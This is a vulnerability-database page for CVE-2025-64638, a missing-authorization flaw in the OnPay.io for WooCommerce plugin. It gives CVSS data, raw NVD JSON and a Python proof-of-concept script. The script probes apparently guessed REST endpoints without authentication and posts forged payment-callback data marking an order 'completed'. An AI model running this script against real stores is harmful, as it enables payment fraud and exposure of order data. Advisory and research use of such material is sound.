Security Vulnerability Report
中文
CVE-2025-64638 CVSS 5.3 MEDIUM

CVE-2025-64638

Published: 2025-12-16 09:15:56
Last Modified: 2026-04-27 16:16:43

Description

Missing Authorization vulnerability in OnPay.io OnPay.io for WooCommerce onpay-io-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects OnPay.io for WooCommerce: from n/a through <= 1.0.47.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

OnPay.io for WooCommerce <= 1.0.47

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64638 PoC - OnPay.io WooCommerce Missing Authorization # Target: WordPress site with OnPay.io for WooCommerce plugin <= 1.0.47 import requests import sys def exploit_missing_auth(target_url): """ Exploit for Missing Authorization vulnerability in OnPay.io for WooCommerce This PoC demonstrates how an unauthenticated attacker can access sensitive endpoints """ # Identify potentially vulnerable endpoints vulnerable_endpoints = [ "/wp-json/onpay/v1/orders", "/wp-json/onpay/v1/transactions", "/wp-json/onpay/v1/payment-callback", "/wp-json/onpay/v1/webhook", "/?rest_route=/onpay/v1/orders", "/?rest_route=/onpay/v1/transactions" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-64638 - Missing Authorization in OnPay.io for WooCommerce") print("=" * 60) for endpoint in vulnerable_endpoints: url = target_url.rstrip('/') + endpoint # Try to access without authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Explorer', 'Content-Type': 'application/json' } try: # Attempt GET request (data exfiltration) response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {endpoint}") else: print(f"[*] Unknown: {endpoint} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") # Try POST request to callback/webhook endpoints post_data = { 'order_id': 'test_order', 'status': 'completed', 'amount': '999.99', 'transaction_id': 'malicious_txn' } for endpoint in ['/wp-json/onpay/v1/payment-callback', '/wp-json/onpay/v1/webhook']: url = target_url.rstrip('/') + endpoint try: response = requests.post(url, json=post_data, headers=headers, timeout=10, verify=False) if response.status_code in [200, 201]: print(f"[+] POTENTIALLY VULNERABLE POST: {endpoint}") print(f" Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64638_poc.py <target_url>") print("Example: python cve-2025-64638_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_missing_auth(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64638", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:55.993", "lastModified": "2026-04-27T16:16:43.150", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in OnPay.io OnPay.io for WooCommerce onpay-io-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects OnPay.io for WooCommerce: from n/a through <= 1.0.47."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/onpay-io-for-woocommerce/vulnerability/wordpress-onpay-io-for-woocommerce-plugin-1-0-47-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}